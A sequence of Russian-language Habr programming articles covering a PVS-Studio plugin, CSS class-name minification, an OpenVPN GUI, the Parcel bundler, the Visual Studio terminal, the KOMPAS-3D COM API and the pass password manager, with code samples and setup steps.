![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/120/041/8bd/1200418bd52b98bc91e22e81d89e7ba5.png)Анализатор сообщает об использовании анонимной функции для отписки от события. Чтобы перейти к коду, дважды кликнем по строке предупреждения:
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/20e/134/415/20e134415d0a47a87877d96514cd5d8b.png)Действительно, здесь создается анонимная функция, которая используется для отписки от события *CollectionChanged*. Разработчик не учёл, что все анонимные функции являются уникальными объектами. Таким образом, данная анонимная функция никак не связана ни с одним обработчиком события, а значит и отписка от события выполнена не будет.
### Планы развития плагина для VS Code
Уже сейчас плагин предоставляет основной функционал, необходимый для работы с отчетами анализатора PVS‑Studio. Скоро он станет ещё удобнее благодаря возможности запускать анализ непосредственно из плагина. Эта возможность будет реализовываться поэтапно: сначала будет поддержан запуск анализа C и C++ проектов, а затем проектов на C#.
### Заключение
В этой статье мы познакомились с принципом работы анализатора кода вместе с новым плагином PVS‑Studio для Visual Studio Code.
Если вы до сих пор не попробовали анализатор, напомню, что вы можете скачать его [здесь](https://pvs-studio.com/ru/pvs-studio/try-free/).
На этом статья завершается, надеюсь она показалась интересной :)
Чистого кода и успешных проектов! До встречи в следующих статьях! | https://habr.com/ru/post/714392/ | null | ru | null |
# Еще один способ сжатия CSS файлов
![image](https://habrastorage.org/r/w780q1/files/53b/d33/be1/53bd33be127040adbf1f12d68b7f1fdb.jpg)
На изображении выше многие увидят известную картину. Так выглядит большинство CSS файлов на продакшене. Мы все стараемся, чтобы наши веб-страницы загружались быстро; для достижения этой цели используем различные инструменты и техники оптимизации загрузки и рендеринга страниц. Об одном, но редко используемом методе, я бы хотел поговорить и рассказать, как мне удалось сократить размер CSS файла почты [mail.ru](http://mail.ru) на 180Кб.
Казалось бы, в файле, изображенном выше, уже нечего оптимизировать, все пробелы и переносы строк удаленны, файл обработан каким-нибудь умным оптимизатором типа CSSO со структурным изменением и кажется, что такой файл поймет только браузер или пьяный сантехник. Но, как мы знаем, нет предела ~~извращенству~~ совершенству, а тем более оптимизации.
Далее мы попробуем выжать все соки из этого файла.
Если приглядеться, то мы заметим в этом файле кое что интересное.
![image](https://habrastorage.org/r/w780q1/files/73b/00c/c14/73b00cc144114c8dbb9427d0124c05a9.jpg)
Прошу обратить внимание на имена классов. Наверное, вы уже догадались, о чем пойдет речь — о сокращении длины этих имен. Потому что с приходом БЭМ и других техник написания CSS названия классов стали весьма длинными, а порой неприлично длинными.
#### Примеры из жизни
Я провел анализ CSS файлов, некоторых популярных ресурсов и подтвердил свое предположение:
![image](https://habrastorage.org/r/w780q1/files/c61/1c4/4bf/c611c44bff604cc986d754917393cd74.jpg)
*На изображение указаны классы, встречающиеся в продакшан версиях CSS файлов указанных сайтов*
Наверное, никому не надо объяснять значимость скорости первоначальной загрузки страницы и ее влияние на удовлетворенность пользователей, конверсию, посещаемость сайтов. С приходом мобильных девайсов и мобильного интернета эта проблема стоит очень остро. Например, загрузка 40Кб на 4G интернете в среднем займет 700мс, а если рассмотреть 3G, EDGE, GPRS, WiFi в час пик в кафе или метро, то время загрузки значительно увеличится. Каждые сэкономленные килобайты на вес золота.
Если мы боремся за каждый пробел и перенос строки в CSS файлах, беспощадно вырезая их, то почему бы не сжимать названия классов и идентификаторов до двух или трех символов? Ведь вашим пользователям абсолютно не важно, как будет называться класс блока на странице, но им будет очень важна скорость загрузки страницы. Возможно, именно поэтому ребята из Google используют эту технику (на сайте google.com):
![image](https://habrastorage.org/r/w780q1/files/095/782/eaa/095782eaa6f2476e9a4c28e92b801d9d.jpg)
#### От слов к делу
Итак, с тем, зачем это нужно, надеюсь, разобрались. Приступим к делу. Первая проблема в том, что мы не можем просто так взять и сократить классы и идентификаторы в CSS файлах, потому что они используются в верстке, шаблонах и JS файлах. Заменив только в одном месте — все поломается. Становится очевидно, что надо заменить названия во всей связке файлов. В своих проектах для минификации, склеивания и прочих таких задач я использую Grunt.js. Эта система сборки является одной из самых популярных мире фронтенд-разработки. Занимаясь беглым поиском плагинов, реализующих такую задачу, я ничего не обнаружил и решил написать свой ~~велосипед~~ плагин.
#### grunt-revizor
Так родился [grunt-revizor](https://github.com/atrolov/grunt-revizor). При его написании я столкнулся с несколькими проблемами. В CSS файлах все просто, синтаксис заранее известен, .name или #name, но в других файлах это может выглядеть иначе. Например, в HTML , т.е. name уже без точки или в JS файлах
```
document.getElementById('name')
```
тоже без #, что усложняет проблему поиска и замены имен. Что наиболее страшно — можно поломать что-нибудь, например, если имя CSS класса будет ".success" и в JS файле у нас будет переменная «success», заменив ее мы поломаем JS код. А этого мы допустить не можем, поэтому пришлось ввести требования к написанию имен, а именно — имя должно оканчиваться на уникальный префикс, который однозначно даст возможность отличить класс от чего либо другого JS, HTML и других файлах. Например, .b-tabs\_\_title-block--, в данном случае префикс '--'.
Пример таска:
```
grunt.initConfig({
revizor: {
options: {
namePrefix: '__',
compressFilePrefix: '-min'
},
// Найдет файлы: test/css/style1.css, test/css/style2.css, 'test/js/main.js и др...
src: ['test/css/*.css', 'test/html/*.html', 'test/js/*.js'],
dest: 'build/'
},
});
```
После запуска этого таска grunt найдет все CSS, HTML и JS файлы, которые соответствуют путям из src, найдет в CSS файлах все имена классов и идентификаторов, оканчивающихся на префикс \_\_, сожмет найденные имена до двух и трех символьных, например .b-tabs--notselected\_\_ -> .zS, после чего сохранит новые файлы, в которых будут заменены все найденные совпадения, и сохранит их в папке build, с именами style1-min.css, index-min.html, main-min.js.
Пример CSS:
```
/* Original: style1.css */
.b-tabs__title-block-- {
color: red;
font-size: 16px;
}
.b-tabs__selected-- {
font-weight: bold;
}
/* ======================================= */
/* Result: style1-min.css */
.eD {
color: red;
font-size: 16px;
}
.rt {
font-weight: bold;
}
```
Пример JS:
```
/* Original: main.js */
var $tabmenu = $('#tabmenu--');
var tabmenu = document.getElementById('tabmenu--');
if ($tabmenu.hasClass('b-tabs__selected--')) {
$tabmenu.removeClass('b-tabs__title-block--');
};
/* ======================================= */
/* Result: main-min.js */
var $tabmenu = $('#j3');
var tabmenu = document.getElementById('j3');
if ($tabmenu.hasClass('rt')) {
$tabmenu.removeClass('eD');
};
```
Такой же принцип и для HTML, template и прочих фалов.
Некоторые особенности плагина:
* Сначала генерируются 2-х символьные имена. После того, как количество имен перевалит за 2500, начнутся генерироваться 3-х символьные имена;
* Для генерации имен используются строчные и заглавные буквы латинского алфавита, цифры, символы **-** и **\_**;
* Есть проверка на коллизию, т.е. сжатое имя может соответствовать только одному полному имени.
#### Оптимизации на примерах
Попробуем выяснить потенциальную выгоду такой оптимизации на примере тех же популярных ресурсов. Расскажу, как я буду считать. Конечно же, не буду пропускать CSS файлы через grunt-revizor, потому что в них не используется уникальный префикс. С помощью нехитрого Node файла я буду считать общее количество классов, высчитывать их длину в байтах и из этого высчитывать потенциальный размер файлов. Упрощенная формула выглядит так:
```
names = ['b-block1','b-block2','b-block3', ....];
saveSize = allNamesSize - (names.length*3)
// allNamesSize - Общая длина всех символов всех найденных классов
// 3 - Итоговое количество символов в сжатом название
```
| Сайт | Размер оригинального файла | Сжато | В процентах |
| --- | --- | --- | --- |
| Mail.ru почта (Desktop version) | 849 Кб | 182,5 Кб | 26,4% |
| hh.ru (Desktop version) два файла | 109,8 Кб | 30 Кб | 27,3% |
| vk.com (Mobile version) два файла | 184,1 Кб | 48,5 Кб | 26,4% |
| Яндекс.Такси (Mobile version) | 127 Кб | 13 Кб | 10,3% |
| 2gis.ru (Mobile version) | 1293 Кб | 172 Кб | 13,3% |
Использовались обычные файлы, не gzip. Данные оптимизации примерные, потому что по мимо CSS файлов стили иногда были в html странице, соответственно, здесь не учитывались. Использовалась простенькая регулярка для парсинга, которая искала только классы, притом не все возможные, и она не искала идентификаторы. Помимо сжатия CSS будет выигрыш на других файлах, html, шаблонах и т.д., которые здесь тоже не учтены. Отмечу сразу, что некоторые файлы мало подаются такой оптимизации, например, файлы где мало классов или используются короткие имена, или много изображений, вставленных через data:URL, что демонстрируется на файлах 2gis и Яндекс.Такси.
#### Заключение
Конечно же, я не придумал ничего нового. Этот способ знаком многим, но он используется редко, т.к. в нем есть как минусы, так и плюсы. Например, он вносит трудности в разработку, чистоту кода и т.д. По большому счету gzip частично решает проблему длинных имен и здорово сжимает файлы, но все же определенный выигрыш в размере и времени декомпрессии файлов можно получить и с использованием gzip. Например, оптимизированный сжатый файл mail.ru на 20Кб меньше того же не оптимизированного сжатого файла.
Так же хочу сказать, что мой плагин не является серебренной пулей в этом вопросе, а лишь пример реализации. Возможно, в будущем из плагина получится что нибудь действительно стоящее. Я буду плотно работать над этой идей, в идеале хотелось бы, чтобы плагин работал с абсолютно не подготовленными файлами, т.е без использования префикса, а делал все автоматически и безошибочно.
Смысл всей моей статьи в том, чтобы поднять интерес разработчиков к этому вопросу, послушать мнение других. Может быть, у кого-то уже был негативный или положительный опыт в данном вопросе. Пожалуйста, поделитесь им. К тому же, тот же Google, я думаю, не зря использует этот метод.
В общем, есть о чем поговорить и над чем задуматься.
UDP: Скоро отвечу на все вопросы, приведу конкретные файлы, и сравню выигрыш при использование GZIP. | https://habr.com/ru/post/250239/ | null | ru | null |
# Есть ли OpenVPN GUI для Linux?
Название статьи подсказала тема на одном из [форумов](http://forum.ubuntu.ru/index.php?topic=173014.msg1279546#msg1279546). Несмотря на то, что с момента возникновения вопроса прошло шесть лет, в этом направлении мало что изменилось. А поскольку в последнее время у меня на слуху постоянно был [OpenVPN](https://openvpn.net/), то было решено исправить данную ситуацию. Так родилась графическая утилита VpnGUI для создания, редактирования, запуска и контроля выполнения утилиты openvpn.
После запуска утилиты VpnGUI в трее появится иконка (квадрат разбитый на четыре сине-красных квадратика) утилиты:
![image](https://habrastorage.org/r/w1560/web/431/55e/b66/43155eb6675b4cd791984bd1ac9bc97c.png)
Трей имеет меню, которое появляется при нажатии правой клавиши мышки, когда курсор мышки находится на трее утилиты VPNGui. Меню имеет два пункта – Restore (развернуть окна) и Stop (завершить работу ). После выбора пункта меню «Restore» на экране появится главное окно утилиты VPNGui:
![image](https://habrastorage.org/r/w1560/web/a4a/803/f80/a4a803f807f4464081a4077477d1c62e.png)
Разработка велась на python с использованием графического пакета Tkinter и дизайнера [Page](https://habrahabr.ru/post/335712/).
Напомним, что для использования «великого, могучего, правдивого и свободного русского языка!» (И.С. Тургенев), необходимо добавить в файл файл gui\_pyton\_gen.tcl дизайнера Page после 418 строки следующий код:
```
# -*- coding: utf-8 -*-
```
Аналогичный код необходимо дабавить также в файл support\_python\_gen.tcl (после 458 строки).
Для программирования трея был установлен пакет [Pystray](https://fedora.pkgs.org/26/fedora-x86_64/python2-pystray-0.14.3-1.fc26.noarch.rpm.html).
Работа утилиты начинается с выбора пользователем выполняемого файла openvpn или его форков. Утилита проверяет наличие выполняемого файла и заполняет списки перечнем поддерживаемых mac (алгоритмя контроля целостности), ciphers (алгоритмы шифрования) и перечнем поддерживаемых шифрсьютов:
```
# openvpn –show-digests
…
#openvpn –show-ciphers
…
#openvpn –show-tls
…
```
![image](https://habrastorage.org/r/w1560/web/aad/bda/352/aadbda3523b94d4bbbe9bfafd11e8881.png)
Теперь можно приступать к работе с конфигурационным файлом. Пользователь может создать новый файл или отредактировать существующий, предварительно загрузив его (см. скриншот). После того как файл загружен или новый файл сохранен, пользователь может запустить openvpn:
![image](https://habrastorage.org/r/w1560/web/2a9/f7a/12e/2a9f7a12e7934d76ad7c9ca1c4f63662.png)
После ввода пароля в окне «Протокол работы» будут отображаться диагностические сообщения OpenVPN:
![image](https://habrastorage.org/r/w1560/web/132/ae3/13c/132ae313c3064397b0bd4538d3b74fe9.png)
До тех пор пока openvpn нормально работает книопка «VPN активен» будет блокирована. Если openvpn по каким-то причинам завершит свою работу или будет остановлен пользователем (кнопка «Стоп VPN»), то кнопка разблокируется и снова станет кнопкой «Старт VPN».
Отметим, что для выпуска клиентских и серверных сертификатов для OpenVPN удобно использовать центр сертификации [XCA](https://geektimes.ru/post/283668/):
![image](https://habrastorage.org/r/w1560/files/b46/728/5d0/b467285d01794cfd90cce030163e5aab.png)
Теперь, когда openvpn нормально работает, можно его убрать в трей. Для этого можно использовать как кнопку «В трей» на окне «Протокол работы» или меню главного окна (Manager → Убрать в трей):
![image](https://habrastorage.org/r/w1560/web/2dc/90f/57d/2dc90f57d61e4bb7b2a4a5db2e1d29c0.png)
Утилита плафтормонезависима. Бинарный код утилиты можно получить, используя пакет Nuitka. | https://habr.com/ru/post/338390/ | null | ru | null |
# Parcel — очень быстрый бандлер, не требующий настройки
![](https://habrastorage.org/r/w1560/webt/as/nx/7z/asnx7zkyp91gwph69b9ptifeupg.png)
### Для чего
[Parcel](https://parceljs.org/) — маленький и быстрый бандлер, позиционируется как решение для маленьких проектов. С момента первого релиза (7 дней назад) уже собрал 8725 звездочек на гитхабе. Согласно официальной документации имеет следующие плюсы:
**Быстрая сборка**
Parcel использует worker process для многопоточной сборки, а так же имеет свой файловый кэш для быстрой пересборки при последующих изменениях.
**Собирает все ваши ассеты**
Из коробки имеется поддержка ES6, TypeScript, CoffeeScript, HTML, SCSS, Stylus, raw-файлов. Плагины не требуются.
**Автоматические преобразования**
Весь код автоматически проходит через Babel, PostCSS, PostHTML — подхватываются при необходимости из node\_modules.
️ **Разделение кода без лишней конфигурации**
Используя динамический import(), Parcel разделяет бандл для возможности быстрой начальной загрузки точки входа в приложение
**Горячая перезагрузка**
Типичный хот-релоад без конфигурации — сохраняете изменения и они автоматически применяются в браузере.
**Дружелюбный вывод ошибок**
При ошибке подсвечивается кусок кода, в котором она произошла.
Так же на главной странице приводится бенчмарк:
| **Bundler** | **Time** |
| --- | --- |
| browserify | 22.98s |
| webpack | 20.71s |
| **parcel** | 9.98s |
| **parcel — with cache** | 2.64s |
### Механика работы
Подход Parcel схож с оным у Webpack (тут сложно придумать что-то новое).
У нас есть сущность — Asset. Ассет — это любой файл. Механика работы такова: реализуется интерфейс, который предоставляет логику для превращения файла в AST, разрешения всех зависимостей, применения нужных трансформаций и генерирования итогового кода. Если вас не устраивает работа какого-то ассета из коробки или вы хотите добавить свой — [нет ничего сложного](https://parceljs.org/asset_types.html).
Дальше в дело вступает Packager. Упаковщик склеивает ассеты в итоговый бандл. Это происходит после обработки и успешного построения дерева. Упаковщики регистрируются на основе типа файлов. Хотите написать свой упаковщик? [Вам сюда](https://parceljs.org/packagers.html).
Так же мы можем писать свои плагины, которые Parcel будет подхватывать из package.json. Для этого у названия пакета плагина должен быть префикс `parcel-plugin-`. Но это уже совсем частный случай, который скорее всего уже ведет к тому, что надо переключаться на webpack или другой удобный инструмент.
### На практике
Ставим пакет, инициализируем приложение через любой пакетный менеджер:
```
$ yarn global add parcel-bundler
$ mkdir parcel-test && cd parcel-test
$ yarn init -y
```
Для примера напишем hello world на Preact. Создадим следующую структуру:
```
parcel-test
├── package.json
├── src
│ ├── app.jsx
│ ├── components
│ │ └── clock
│ │ └── Clock.jsx
│ └── index.html
└── yarn.lock
3 directories, 5 files
```
А так же установим необходимые пакеты:
```
$ yarn add preact babel-plugin-transform-react-jsx postcss-modules autoprefixer
```
Для того, чтобы сконфигурировать Babel создадим .babelrc со следующим содержанием:
```
{
"plugins": [
["transform-react-jsx", { "pragma":"h" }]
]
}
```
Для PostCSS:
```
{
"modules": true,
"plugins": {
"autoprefixer": {}
}
}
```
Для autoprefixer:
```
> 1%
last 2 versions
```
**Листинги компонентов****index.html**
```
Parcel demo
```
**App.jsx**
```
import { h, render } from 'preact';
import { Clock } from './components/clock/Clock';
render((
It works!
=========
), document.body);
```
**Clock.jsx**
```
import { h, Component } from 'preact';
import styles from './Clock.css';
export class Clock extends Component {
constructor() {
super();
this.state = {
time: Date.now()
};
}
componentDidMount() {
this.timer = setInterval(() => this.setState({ time: Date.now() }), 1000);
}
componentWillUnmount() {
cleanInterval(this.timer);
}
render(props, state) {
let time = new Date(state.time).toLocaleTimeString();
return { time }
}
}
```
**Clock.css**
```
.clock {
color: green;
}
```
**Результат**![](https://habrastorage.org/r/w1560/webt/wd/5_/eb/wd5_ebh3xoshx307o-ofzdhh8zg.png)
И это все. Как можно заметить, мы не потратили ни минуты на написание конфигурационных файлов, за исключением .babelrc и .postcssrc
### Подводя некий итог
Перед нами эдакий "Webpack на минималках", предоставляющий возможность быстрого развертывания рабочего окружения для небольшого проекта. Стек технологий по сути ограничен лишь стандартным набором ассетов, но в любой момент его можно расширить и своими собственными. С учетом полной поддержки Babel мы легко можем использовать практически любой другой фреймворк или библиотеку (разве что с Angular будут сложности, ведь писать с его помощью на ES6 и без родного инструментария — задача на любителя), а поддержка PostCSS из коробки является еще одним приятным дополнением.
Из неудобств я пока что могу отметить только одно — при работе с TypeScript бандлер не учитывает пользовательские пути и базовый каталог (секции `baseUrl` и `paths`), указанные в файле tsconfig, и, соответственно, не может нормально разрешать пути импортируемых модулей. На гитхабе [идет обсуждение](https://github.com/parcel-bundler/parcel/issues/202) решения этой проблемы. | https://habr.com/ru/post/344486/ | null | ru | null |
# Встречайте новый терминал Visual Studio
Развивая тему недавно анонсированного [Developer PowerShell](https://devblogs.microsoft.com/visualstudio/the-powershell-you-know-and-love-now-with-a-side-of-visual-studio/), мы рады представить вам первую preview-версию нового терминала Visual Studio. Данная функция является частью Visual Studio версии 16.3 Preview 3.
![image](https://habrastorage.org/r/w1560/webt/dd/1o/9n/dd1o9nwzun5da_1yxypcmbixtta.png)
Терминал Visual Studio не создан с нуля, а разделяет большую часть своего ядра с [Windows Terminal](https://devblogs.microsoft.com/commandline/introducing-windows-terminal/). Для вас это означает более надежную работу терминала и более быстрое введение новых функций.
Включение нового терминала в Visual Studio
------------------------------------------
Чтобы опробовать preview-версию терминала, сначала вам необходимо его включить, посетив страницу Preview Features. Для этого перейдите в **Tools > Options > Preview Features**, поставьте галочку возле Experimental VS Terminal и перезапустите Visual Studio.
![image](https://habrastorage.org/r/w1560/webt/_0/vp/db/_0vpdboq3cypvuk0amkcurr7yyy.png)
После включения вы сможете вызвать его через **View > Terminal Window** или через поиск.
![image](https://habrastorage.org/r/w1560/webt/wt/nu/by/wtnubyxcgilhxqqewyygqitwvmy.png)
Создание профилей терминала
---------------------------
При запуске терминала автоматически открывается встроенный экземпляр PowerShell. Однако вы можете настроить режим запуска, воспользовавшись профилями оболочки.
С помощью профилей оболочки вы можете использовать различные типы оболочек, вызывать их с использованием уникальных аргументов или даже установить по умолчанию ту оболочку, которая будет лучше всего соответствовать вашим потребностям.
В последующих обновлениях мы планируем добавить в терминал несколько базовых профилей. Однако, уже сейчас вы можете вручную добавлять дополнительные профили на странице Options (пункт Terminal).
![image](https://habrastorage.org/r/w1560/webt/fa/tk/js/fatkjsckdoqw-myeaa90yg-u82g.png)
Пример того, как вы можете установить профили для некоторых популярных опций:
#### Developer Command Prompt
Shell location:
```
C:\Windows\System32\cmd.exe
```
Arguments:
```
/k "C:\Program Files (x86)\Microsoft Visual Studio\2019\IntPreview\Common7\Tools\VsDevCmd.bat"
```
#### Developer PowerShell
Shell location:
```
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
```
Arguments:
```
-NoExit -Command "& { Import-Module 'C:\Program Files (x86)\Microsoft Visual Studio\2019\Preview_master\Common7\Tools\vsdevshell\Microsoft.VisualStudio.DevShell.dll'; Enter-VsDevShell -InstanceId f86c8b33}"
```
**Примечание:** вам нужно будет подкорректировать приведенный выше аргумент, чтобы соответствовать вашей конкретной конфигурации. Сведения об аргументе можно извлечь, заглянув в строку Target во вкладке Shortcut в свойствах Developer PowerShell.
![image](https://habrastorage.org/r/w1560/webt/fl/9z/od/fl9zodcwrtpo-8wxjq1_fro4byu.png)
#### WSL
Shell location:
```
C:\WINDOWS\sysnative\wsl.exe
``` | https://habr.com/ru/post/467869/ | null | ru | null |
# Работа с API КОМПАС-3D → Урок 3 → Корректное подключение к КОМПАС
В предыдущих уроках по API КОМПАС (Напоминаем, что в качестве среды используется C++ Builder) [Основы](https://habrahabr.ru/company/ascon/blog/328088/) и [Оформление чертежа](https://habrahabr.ru/company/ascon/blog/330588/) мы исходили из того, что КОМПАС не запущен, и запускали его сами методом **CreateInstance**. Но что если в момент вызова этого метода КОМПАС уже запущен? Тогда будет создан еще один экземпляр данной программы. В принципе ничего страшного, но неаккуратно. Зачем плодить копии программы, когда можно обойтись одним экземпляром?
![](https://habrastorage.org/r/w1560/web/b7d/3a4/d7e/b7d3a4d7e1b34bfd8e8a684333fd4b73.png)
Сегодня мы поговорим о том, как подключаться к уже запущенному КОМПАС, чтобы не создавать картину, похожую на ту, которая изображена на рисунке ниже.
![](https://habrastorage.org/r/w1560/web/c67/44b/e5a/c6744be5aac0452480379bf70040b15f.png)
*Запущено несколько экземпляров КОМПАС-3D*
Подключение к КОМПАС
--------------------
Для подключения к программе КОМПАС используется метод **ActiveInstance**. Ниже приводится пример программы, подключающейся к КОМПАС.
```
KompasObjectPtr kompas;
kompas.ActiveInstance(L"KOMPAS.Application.5");
//Делаем КОМПАС видимым
kompas->Visible = true;
kompas.Unbind();
```
Единственный параметр метода **ActiveInstance** – строковое наименование интерфейса, к которому мы подключаемся, в кодировке Unicode.
А что будет, если в момент вызова этого метода КОМПАС не запущен? Произойдет ошибка. Причем пользователю будет показано сразу два окна с ругательствами.
![](https://habrastorage.org/r/w1560/web/6ba/387/3cc/6ba3873cc55d4f40912a53195c7ab5f3.png)
*Первое окно с ошибкой*
![](https://habrastorage.org/r/w1560/web/fc8/e9e/66d/fc8e9e66dfaa40c2848c2ed44199c4b9.png)
*Второе окно с ошибкой*
Формат этих окон зависит от используемой среды разработки и может отличаться от приведенных выше. Оборачивание вызова метода **ActiveInstance** в блок **try/catch**, к сожалению, не решает проблему.
```
try{
KompasObjectPtr kompas;
kompas.ActiveInstance(L"KOMPAS.Application.5");
//Делаем КОМПАС видимым
kompas->Visible = true;
kompas.Unbind();
}catch(...){}
```
Мы избавляемся только от одного окна с ошибкой. Получается, что вызывать метод **ActiveInstance** можно только тогда, когда КОМПАС запущен. И здесь мы приходим к главному вопросу: как определить, запущен КОМПАС или нет? Для этого существует несколько методов.
По главному окну
----------------
Самый распространенный способ – с помощью функции **FindWindow** найти главное окно программы. Функция **FindWindow** ищет окно по его заголовку или по наименованию его оконного класса. К сожалению, она требует точного совпадения строк. Искать по части строки она не умеет.
Заголовок окна мы не можем использовать, так как он включает в себя версию КОМПАС, которая заранее нам неизвестна, и дополнительную информацию, например, наименование открытого документа. Поэтому мы не можем знать наверняка точную строку в заголовке окна. Попробуем по наименованию оконного класса.
Узнать его можно с помощью программы [Spy++](https://msdn.microsoft.com/ru-ru/library/dd460756.aspx). На рисунке ниже приведена примерная информация об оконном классе (наименование обведено в красный прямоугольник).
![](https://habrastorage.org/r/w1560/web/a28/04b/51c/a2804b51c8a541c8908676a66d95149e.png)
*Окно «Свойства окна»*
Наименования оконного класса мало того, что не отличаются наглядностью, так еще и различаются в разных версиях КОМПАС. Поэтому поиск по наименованию оконного класса нам также не подходит.
Единственное, на что мы хоть как-то можем положиться, так это на наличие подстроки «КОМПАС-3D» в заголовке главного окна. Но функция **FindWindow** не умеет искать по подстроке. Единственное, что нам остается, так это перебрать все окна верхнего уровня и проверить, содержит ли заголовок какого-либо из них подстроку «КОМПАС-3D». Ниже приводится исходный код процедуры, осуществляющей эту проверку.
```
//Функция обратного вызова для поиска окна
bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
//Получаем размер заголовка окна
unsigned int size;
size = GetWindowTextLength(hwnd);
if(!size) return true;
//Подготавливаем буфер под заголовок окна
wchar_t* pbuffer;
pbuffer = (wchar_t*)malloc(sizeof(wchar_t)*(size+1));
//Читаем заголовок окна
GetWindowTextW(hwnd, pbuffer, size-1);
//Ищем подстроку
wchar_t *p;
p = wcsstr(pbuffer, L"КОМПАС-3D");
//освобождаем память
free(pbuffer);
if(!p) return true;
//Окно найдено, сохраняем результат и останавливаем поиск
bool *pres;
pres = (bool*)lParam;
*pres = true;
return false;
}
//Функция проверки запущен ли КОМПАС?
bool IsKOMPASRun()
{
bool res = false;
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)(&res));
return res;
}
```
Для перечисления окон используется функция **EnumWindows**, входящая в состав Windows API. Данная функция подготавливает список окон верхнего уровня и для каждого найденного окна вызывает пользовательскую функцию **EnumWindowsProc**. В данной функции мы читаем заголовок найденного окна и проверяем, содержит ли он подстроку «КОМПАС-3D». Если содержит, то окно найдено и останавливаем поиск, если нет – переходим к следующему окну. Ниже приводится пример использования данной процедуры.
```
if(IsKOMPASRun())
ShowMessage("КОМПАС запущен");
else
ShowMessage("КОМПАС не запущен");
```
К сожалению, данный метод очень ненадежен. Дело в том, что в системе могут быть другие окна, содержащие в своем заголовке подстроку «КОМПАС-3D». Пример такого окна приведен на рисунке 4. Это явно не то окно, которое мы хотим найти.
![](https://habrastorage.org/r/w1560/web/399/e9c/65e/399e9c65e2bc47a2af43c59847e7f04d.png)
*Окно справки*
По процессу
-----------
Другим вариантом является поиск процесса КОМПАС. У программы КОМПАС исполняемый файл обычно именуется «kompas.exe» (в разных версиях может различаться регистр). Что если вместо окна искать процесс с таким наименованием исполняемого файла? Ниже приводится исходный текст программы, реализующей данный метод.
```
bool IsKOMPASRun()
{
//Имя исполняемого файла, который мы ищем
char ExeName[] = "kompas.exe";
size_t lenName = strlen(ExeName);
//Делаем снимок системы
HANDLE hSnapshot;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//Перечисляем процессы
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot, &entry);
size_t len;
bool res = false;
do{
//Сравниваем наименования исполняемых файлов
len = strlen(entry.szExeFile);
if(len != lenName) continue;
if(!strnicmp(entry.szExeFile, ExeName, len))
{
res = true;
break;
}
}while(Process32Next(hSnapshot, &entry));
CloseHandle(hSnapshot);
return res;
}
```
В данном примере для перечисления процессов используются функции **CreateToolhelp32Snapshot**, **Process32First**, **Process32Next**, входящие в состав Windows API. Для их использования необходимо подключить заголовочный файл **tlhelp32.h**. Это не единственный способ перечисления процессов, но один из самых простых. Для сравнения строк используется функция **strnicmp**, которая сравнивает строки без учета регистра символов.
Способ, основанный на поиске процессов, надежнее поиска окна. Он дает значительно меньше ложных срабатываний, но не исключает их. Что если на компьютере пользователя запущена программа с точно таким же наименованием исполняемого файла? Или в последующих версиях КОМПАС исполняемый файл будет называться по-другому? Во всех этих случаях данный метод не работает.
С использованием технологии COM
-------------------------------
Все описанные выше методы громоздки и ненадежны. Поэтому их использование нежелательно. Существует более надежный способ проверки факта запуска программы КОМПАС. Он основан на функциях библиотеки *ole32.dll*, которая входит в состав Windows и реализует технологию COM. Ниже приводится исходный код процедуры, проверяющей с помощью этих функций, запущен ли КОМПАС.
```
bool IsKOMPASRun()
{
wchar_t ObjectName[] = L"KOMPAS.Application.5";
//Инициализируем библиотеку Ole32.dll
CoInitialize(NULL);
CLSID clsid;
//Получаем clsid объекта
CLSIDFromProgID(ObjectName, &clsid);
//Пытаемся подключиться
HRESULT res;
IUnknown *pIUnknown;
res = GetActiveObject(clsid, NULL, &pIUnknown);
if(res == S_OK)
{
pIUnknown->Release();
return true;
}
return false;
}
```
Основную работу выполняет функция **GetActiveObject**. С ее помощью мы пытаемся подключиться к КОМПАС. Если это удалось, значит, КОМПАС запущен. Функция **CLSIDFromProgID** используется для конвертирования строкового представления объекта в его **CLSID** (*уникальный 128-битный идентификатор*). Ее можно использовать для проверки того, установлен КОМПАС на компьютере пользователя или нет. Ниже приводится пример программы, реализующей такую проверку.
```
bool IsKOMPASInstalled()
{
wchar_t ObjectName[] = L"KOMPAS.Application.5";
//Инициализируем библиотеку Ole32.dll
CoInitialize(NULL);
CLSID clsid;
//Получаем clsid объекта
HRESULT res;
res = CLSIDFromProgID(ObjectName, &clsid);
return (res == S_OK);
}
```
Корректное подключение
----------------------
Ниже приводится исходный текст программы, реализующей корректное подключение к КОМПАС.
```
wchar_t ObjectName[] = L"KOMPAS.Application.5";
……………………………………………………………
if(! IsKOMPASInstalled())
{
ShowMessage("КОМПАС не установлен");
return;
}
KompasObjectPtr kompas;
if(IsKOMPASRun())
kompas.ActiveInstance(ObjectName);
else
kompas.CreateInstance(ObjectName);
kompas->Visible = true;
kompas.Unbind();
```
Переменная **ObjectName** объявлена глобальной, чтобы избежать ее дублирования в разных функциях.
**Заключение**
В данной статье были рассмотрены различные методы определения того, запущен КОМПАС или нет. Вы можете использовать любой из этих методов или их комбинацию. А может быть, придумаете свой метод. Самым надежным является метод, основанный на функции **GetActiveObject**.
В конце статьи приведен пример программы, реализующей подключение к КОМПАС с проверкой на его наличие в системе и работу в момент запуска программы.
**[Четвертая часть](https://habrahabr.ru/company/ascon/blog/337288/).**
[![](https://habrastorage.org/r/w1560/web/595/eee/f27/595eeef271b24830b3578751fcb52716.png)](https://habrastorage.org/web/350/25b/57e/35025b57e2474a8388f0f0554e807128.png) Сергей Норсеев, автор книги «Разработка приложений под КОМПАС в Delphi». | https://habr.com/ru/post/332554/ | null | ru | null |
# Используем passwordstore.org — менеджер паролей в стиле KISS
Всем привет. В этой статье я хотел бы поделиться своим опытом настройки и использования [pass](https://www.passwordstore.org/) — менеджера паролей для Linux и не только, примечательного своей простотой, использованием уже присутствующих в системе инструментов и возможностью работать исключительно из консоли. Конкретнее, будут затронуты проблемы, связанные с генерацией и хранением секретного ключа gpg, а также с настройкой совместной работы pass, gpg, git, github и браузера. Всё — под Linux, Windows и Android.
Что это такое и как оно работает
================================
